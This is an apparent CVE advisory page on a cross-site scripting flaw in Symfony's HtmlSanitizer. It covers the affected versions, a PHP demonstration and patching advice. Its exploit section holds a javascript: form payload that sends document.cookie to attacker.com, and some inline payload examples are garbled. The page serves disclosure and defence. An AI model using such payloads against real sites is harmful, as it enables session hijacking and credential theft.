Symfony HtmlSanitizer, Cross-site Scripting (XSS), CVE-2026-45753 (Low) -DC-Jul2026-1005

How CVE-2026-45753 Works

Symfony’s `html-sanitizer` component is designed to cleanse untrusted HTML before it is inserted into a DOM, preventing malicious code execution. At its core, the `UrlAttributeSanitizer` acts as a specialized visitor that iterates over every HTML element, validating URL-valued attributes and stripping out dangerous URI schemes like javascript:.
The vulnerability stems from an incomplete allow-list within the `UrlAttributeSanitizer::getSupportedAttributes()` method. This method returns the set of attributes that the sanitizer should inspect for URL schemes. In vulnerable versions, this list was limited to src, href, lowsrc, background, and ping. Critically, it omitted other HTML5 attributes that also accept URLs and can trigger script execution: `action` (on <form>), `formaction` (on `` and <input type="image">), `poster` (on <video>), and `cite` (on <blockquote>, <q>, <del>, <ins>).
Because these attributes were missing from the supported list, the `DomVisitor` never invoked scheme validation on them. If an application’s configuration permitted any of these attributes—for instance, via permissive settings like allowElement('form', ''), allowAttribute('action', …), or using the `allowStaticElements()` preset—an attacker could inject a `javascript:` URI into those attributes. When the sanitized HTML is rendered, the browser interprets the `javascript:` URI, leading to Cross-Site Scripting (XSS). In the case of `action` and formaction, the payload executes when a victim submits the form or clicks the button.
The issue affects Symfony versions from 6.1.0-BETA1 up to (but not including) 6.4.40, 7.4.12, and 8.0.12. The fix expands the supported attributes list to include action, formaction, cite, and poster, ensuring proper scheme validation. Notably, `poster` is validated against media schemes (allowing `data:` images), while the others are checked against link schemes (rejecting `javascript:` and dropping data:). A minor behavioral change is that relative URLs on `action` are now dropped by default, mirroring the behavior of <a href>.

DailyCVE Form

Platform: Symfony
Version: 6.1.0–6.4.39, 7.0.0–7.4.11, 8.0.0–8.0.11
Vulnerability: Cross-site Scripting (XSS)
Severity: Low (CVSS 4.0: 2.1)
Date: 2026-07-14

Prediction: 2026-07-15 (patch available)

What Undercode Say: Analytics

> CVSS Score: 2.1 (Low) – Vector: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

CWE: CWE-79 (Improper Neutralization of Input) & CWE-184 (Incomplete List of Disallowed Inputs)
EPSS: 0.08% (probability of exploitation in the wild)
Exploitation: None known; Automatable: No; Technical Impact: Partial

Bash Commands to Check Vulnerable Version:

Check your Symfony version via composer
composer show symfony/symfony | grep versions
Or for the standalone component
composer show symfony/html-sanitizer | grep versions
Check if you are vulnerable (example for version 6.4.39)
php -r "echo version_compare('6.4.39', '6.4.40', '<') ? 'Vulnerable' : 'Safe';"

Code Snippet Demonstrating the Flaw:

use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
// Permissive configuration that allows 'action' on forms
$config = (new HtmlSanitizerConfig())
->allowElement('form', ['action']) // or allowElement('form', '')
->allowRelativeLinks(); // Optional, but doesn't affect the flaw
$sanitizer = new HtmlSanitizer($config);
// Malicious input with javascript: URI in action
$dirtyHtml = '<form action="javascript:alert(\'XSS\')"><input type="submit"></form>';
// Vulnerable versions will NOT strip the javascript: scheme
$cleanHtml = $sanitizer->sanitize($dirtyHtml);
echo $cleanHtml; //

<

form action="javascript:alert('XSS')">... (XSS persists)

Exploit

An attacker can exploit this vulnerability by injecting HTML containing `javascript:` URIs into attributes that are not validated. The most direct vectors are:
1. Form Action: `

` – Payload executes when the form is submitted.
2. Button Formaction: `

Click` – Executes on button click.
3. Video Poster: `

` – Less common but still exploitable.

Example Attack Payload:

<!-- Malicious comment form submission -->

<form action="javascript:fetch('//attacker.com/steal?cookie='+document.cookie)">
<input type="submit" value="Claim Prize">
</form>

Conditions Required for Exploitation:

• The application must use a permissive configuration that explicitly allows the vulnerable attributes (e.g., allowElement('form', ''), allowAttribute('action'), or allowStaticElements()).
• The attacker must have the ability to inject unsanitized HTML into the application (e.g., via comments, user profiles, or rich text editors).
• The victim must interact with the element (e.g., submit a form or click a button) for action/formaction vectors; for `poster` and cite, the payload may execute on page load.

Protection

1. Upgrade to a Patched Version

The most reliable mitigation is to upgrade Symfony to a version that includes the fix:
– `symfony/symfony` or `symfony/html-sanitizer` >= 6.4.40, >= 7.4.12, or >= 8.0.12 .

2. Apply the Patch Manually

If an immediate upgrade is not feasible, you can apply the patch by overriding the `UrlAttributeSanitizer` class to include the missing attributes:

use Symfony\Component\HtmlSanitizer\Visitor\UrlAttributeSanitizer;
class PatchedUrlAttributeSanitizer extends UrlAttributeSanitizer
{
protected function getSupportedAttributes(): array
{
// Include the missing attributes
return ['src', 'href', 'lowsrc', 'background', 'ping', 'action', 'formaction', 'poster', 'cite'];
}
}

Then, register your custom sanitizer in the service container.

3. Restrict Permissive Configurations

Avoid using overly permissive configurations like `allowElement(”)` or `allowStaticElements()` unless absolutely necessary. Instead, explicitly allow only the attributes you need and validate their values on the server side.

// Safer configuration: only allow safe attributes
$config = (new HtmlSanitizerConfig())
->allowElement('form', ['method', 'enctype']) // 'action' is omitted
->allowElement('button', ['type', 'name', 'value']); // 'formaction' omitted

4. Use Content Security Policy (CSP)

Implement a strict CSP header that disallows `unsafe-inline` and restricts script sources. This provides a defense-in-depth measure that can mitigate the impact of XSS even if the sanitizer fails.

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

5. Validate and Sanitize Input on the Server

Always validate and sanitize user input on the server side, even if you are using a sanitization library. Treat all user-supplied data as untrusted.

Impact

Technical Impact:

• Partial: The vulnerability allows for Cross-Site Scripting (XSS), which can lead to session hijacking, defacement, or redirection to malicious sites. However, it requires a permissive configuration and user interaction for some vectors, limiting the impact.

Business Impact:

• Low to Moderate: For applications that handle sensitive user data (e.g., e-commerce, banking), successful exploitation could lead to credential theft or unauthorized actions. The low CVSS score (2.1) reflects the limited scope and required conditions.

Affected Components:

– `symfony/html-sanitizer` (standalone component)
– `symfony/symfony` (full framework)

Mitigation Timeline:

• Patch Availability: The fix was released on 2026-07-14, with versions 6.4.40, 7.4.12, and 8.0.12.
• Recommended Action: Upgrade immediately or apply the manual patch to prevent potential exploitation.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: nvd.nist.gov
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin

Share this:

• Reddit
• Facebook
• X
• Email
• WhatsApp
• Nextdoor
• Threads
• Pinterest
• Telegram
• LinkedIn
• Bluesky
• Mastodon
• Tumblr
• Print